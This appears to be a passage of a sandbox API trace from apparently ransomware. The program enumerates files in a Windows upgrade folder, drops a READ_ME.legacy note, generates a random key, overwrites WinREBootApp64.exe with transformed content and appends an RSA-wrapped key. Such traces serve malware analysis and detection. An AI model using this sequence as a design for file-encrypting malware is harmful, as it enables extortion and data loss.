lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39058e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39058e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x83cc8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="GetCurrentDeploy.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0090.420] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0090.420] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.420] GetLastError () returned 0x0 [0090.420] SetLastError (dwErrCode=0x0) [0090.420] GetLastError () returned 0x0 [0090.420] SetLastError (dwErrCode=0x0) [0090.420] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0090.420] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.420] GetLastError () returned 0x0 [0090.420] SetLastError (dwErrCode=0x0) [0090.420] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566bd8 [0090.420] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566bd8 | out: hHeap=0x520000) returned 1 [0090.420] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0090.420] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea392ca4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea392ca4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~2.DLL")) returned 1 [0090.421] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0090.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.421] GetLastError () returned 0x0 [0090.421] SetLastError (dwErrCode=0x0) [0090.421] GetLastError () returned 0x0 [0090.421] SetLastError (dwErrCode=0x0) [0090.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0090.421] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.421] GetLastError () returned 0x0 [0090.421] SetLastError (dwErrCode=0x0) [0090.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0090.421] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0090.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d4a8 [0090.421] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39539e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39539e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x11ec8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="GetCurrentRollback.EXE", cAlternateFileName="GETCUR~1.EXE")) returned 1 [0090.421] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0090.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.421] GetLastError () returned 0x0 [0090.421] SetLastError (dwErrCode=0x0) [0090.421] GetLastError () returned 0x0 [0090.421] SetLastError (dwErrCode=0x0) [0090.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0090.421] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.421] GetLastError () returned 0x0 [0090.421] SetLastError (dwErrCode=0x0) [0090.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ee8 [0090.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ee8 | out: hHeap=0x520000) returned 1 [0090.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556c58 [0090.422] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39673d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39673d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x6cc8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="HttpHelper.exe", cAlternateFileName="HTTPHE~1.EXE")) returned 1 [0090.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0090.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.422] GetLastError () returned 0x0 [0090.422] SetLastError (dwErrCode=0x0) [0090.422] GetLastError () returned 0x0 [0090.422] SetLastError (dwErrCode=0x0) [0090.422] GetLastError () returned 0x0 [0090.422] SetLastError (dwErrCode=0x0) [0090.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0090.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0090.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0090.422] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="PostOOBEScript.cmd", cAlternateFileName="POSTOO~1.CMD")) returned 1 [0090.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.422] GetLastError () returned 0x0 [0090.422] SetLastError (dwErrCode=0x0) [0090.422] GetLastError () returned 0x0 [0090.422] SetLastError (dwErrCode=0x0) [0090.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0090.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.422] GetLastError () returned 0x0 [0090.422] SetLastError (dwErrCode=0x0) [0090.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567038 [0090.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567038 | out: hHeap=0x520000) returned 1 [0090.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0090.423] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb894c443, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb894c443, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb894c443, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0090.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0090.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.423] GetLastError () returned 0x0 [0090.423] SetLastError (dwErrCode=0x0) [0090.423] GetLastError () returned 0x0 [0090.423] SetLastError (dwErrCode=0x0) [0090.423] GetLastError () returned 0x0 [0090.423] SetLastError (dwErrCode=0x0) [0090.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0090.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0090.423] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b3c1b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3b3c1b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1 [0090.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.423] GetLastError () returned 0x0 [0090.423] SetLastError (dwErrCode=0x0) [0090.423] GetLastError () returned 0x0 [0090.423] SetLastError (dwErrCode=0x0) [0090.423] GetLastError () returned 0x0 [0090.423] SetLastError (dwErrCode=0x0) [0090.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0090.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0090.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0090.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0090.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578b18 [0090.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0090.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578b60 [0090.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0f0 [0090.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d110 [0090.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578da0 [0090.424] GetLastError () returned 0x0 [0090.424] SetLastError (dwErrCode=0x0) [0090.424] GetLastError () returned 0x0 [0090.424] SetLastError (dwErrCode=0x0) [0090.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0090.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578da0 | out: hHeap=0x520000) returned 1 [0090.424] GetLastError () returned 0x0 [0090.424] SetLastError (dwErrCode=0x0) [0090.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0090.424] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\READ_ME.legacy" (normalized: "c:\\windows10upgrade\\resources\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0090.511] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0090.511] WriteFile (in: hFile=0x470, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0090.512] CloseHandle (hObject=0x470) returned 1 [0090.512] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0090.512] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d110 | out: hHeap=0x520000) returned 1 [0090.512] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0f0 | out: hHeap=0x520000) returned 1 [0090.512] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578b60 | out: hHeap=0x520000) returned 1 [0090.512] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea9ef415, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea9ef415, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x624407ed, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0x3d14a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="upgrader_default.log", cAlternateFileName="UPGRAD~1.LOG")) returned 1 [0090.512] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.512] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.512] GetLastError () returned 0x0 [0090.512] SetLastError (dwErrCode=0x0) [0090.513] GetLastError () returned 0x0 [0090.513] SetLastError (dwErrCode=0x0) [0090.513] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0090.513] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.513] GetLastError () returned 0x0 [0090.513] SetLastError (dwErrCode=0x0) [0090.513] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567268 [0090.513] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567268 | out: hHeap=0x520000) returned 1 [0090.513] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d8c8 [0090.513] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccdc86a8, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x32fe02cc, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x5044, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="upgrader_win10.log", cAlternateFileName="UPGRAD~2.LOG")) returned 1 [0090.513] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0090.513] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.513] GetLastError () returned 0x0 [0090.513] SetLastError (dwErrCode=0x0) [0090.513] GetLastError () returned 0x0 [0090.513] SetLastError (dwErrCode=0x0) [0090.513] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0090.513] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.513] GetLastError () returned 0x0 [0090.513] SetLastError (dwErrCode=0x0) [0090.514] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566fc8 [0090.514] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566fc8 | out: hHeap=0x520000) returned 1 [0090.514] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0090.514] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea63f06a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63f06a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x880c8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="wimgapi.dll", cAlternateFileName="")) returned 1 [0090.514] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0090.514] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.514] GetLastError () returned 0x0 [0090.514] SetLastError (dwErrCode=0x0) [0090.514] GetLastError () returned 0x0 [0090.514] SetLastError (dwErrCode=0x0) [0090.514] GetLastError () returned 0x0 [0090.514] SetLastError (dwErrCode=0x0) [0090.514] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0090.514] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0090.514] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x579070 [0090.514] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea642af3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea642af3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xdf8c8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="windlp.dll", cAlternateFileName="")) returned 1 [0090.515] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.515] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.515] GetLastError () returned 0x0 [0090.515] SetLastError (dwErrCode=0x0) [0090.515] GetLastError () returned 0x0 [0090.515] SetLastError (dwErrCode=0x0) [0090.515] GetLastError () returned 0x0 [0090.515] SetLastError (dwErrCode=0x0) [0090.515] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0090.515] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0090.515] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578fe0 [0090.515] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea64a022, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea64a022, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x159ac8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Windows10UpgraderApp.exe", cAlternateFileName="WINDOW~1.EXE")) returned 1 [0090.515] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.515] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.515] GetLastError () returned 0x0 [0090.515] SetLastError (dwErrCode=0x0) [0090.516] GetLastError () returned 0x0 [0090.516] SetLastError (dwErrCode=0x0) [0090.516] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0090.516] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.516] GetLastError () returned 0x0 [0090.516] SetLastError (dwErrCode=0x0) [0090.516] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.516] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.516] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0090.516] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea64ee41, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea64ee41, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x62c8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="WinREBootApp32.exe", cAlternateFileName="WINREB~1.EXE")) returned 1 [0090.516] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0090.516] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.516] GetLastError () returned 0x0 [0090.516] SetLastError (dwErrCode=0x0) [0090.516] GetLastError () returned 0x0 [0090.516] SetLastError (dwErrCode=0x0) [0090.517] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0090.517] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.517] GetLastError () returned 0x0 [0090.517] SetLastError (dwErrCode=0x0) [0090.517] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c48 [0090.517] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c48 | out: hHeap=0x520000) returned 1 [0090.517] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d710 [0090.517] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6528e0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6528e0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x64c8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="WinREBootApp64.exe", cAlternateFileName="WINREB~2.EXE")) returned 1 [0090.517] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0090.517] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.517] GetLastError () returned 0x0 [0090.517] SetLastError (dwErrCode=0x0) [0090.517] GetLastError () returned 0x0 [0090.517] SetLastError (dwErrCode=0x0) [0090.517] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0090.517] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.517] GetLastError () returned 0x0 [0090.518] SetLastError (dwErrCode=0x0) [0090.518] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671f8 [0090.518] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671f8 | out: hHeap=0x520000) returned 1 [0090.518] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d298 [0090.518] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6528e0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6528e0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x64c8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="WinREBootApp64.exe", cAlternateFileName="WINREB~2.EXE")) returned 0 [0090.518] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d500 [0090.518] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584460 [0090.518] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0f0 [0090.518] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584460 | out: pbBuffer=0x584460) returned 1 [0090.518] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0f0 | out: pbBuffer=0x54d0f0) returned 1 [0090.518] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\WinREBootApp64.exe", dwFileAttributes=0x80) returned 1 [0090.520] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0090.520] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0090.520] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0090.520] CreateFileW (lpFileName="\\Windows10Upgrade\\WinREBootApp64.exe" (normalized: "c:\\windows10upgrade\\winrebootapp64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0090.520] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=25800) returned 1 [0090.520] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x64c8) returned 0x589f40 [0090.520] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x64c8) returned 0x590410 [0090.520] ReadFile (in: hFile=0x470, lpBuffer=0x589f40, nNumberOfBytesToRead=0x64c8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x589f40*, lpNumberOfBytesRead=0x2e1f9bc*=0x64c8, lpOverlapped=0x0) returned 1 [0090.541] SetFilePointer (in: hFile=0x470, lDistanceToMove=-25800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0090.541] WriteFile (in: hFile=0x470, lpBuffer=0x590410*, nNumberOfBytesToWrite=0x64c8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x590410*, lpNumberOfBytesWritten=0x2e1f9bc*=0x64c8, lpOverlapped=0x0) returned 1 [0090.541] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x589f40 | out: hHeap=0x520000) returned 1 [0090.541] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x590410 | out: hHeap=0x520000) returned 1 [0090.542] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x64c8 [0090.542] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0090.543] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0090.544] WriteFile (in: hFile=0x470, lpBuffer=0x584460*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584460*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0090.544] WriteFile (in: hFile=0x470, lpBuffer=0x54d0f0*, 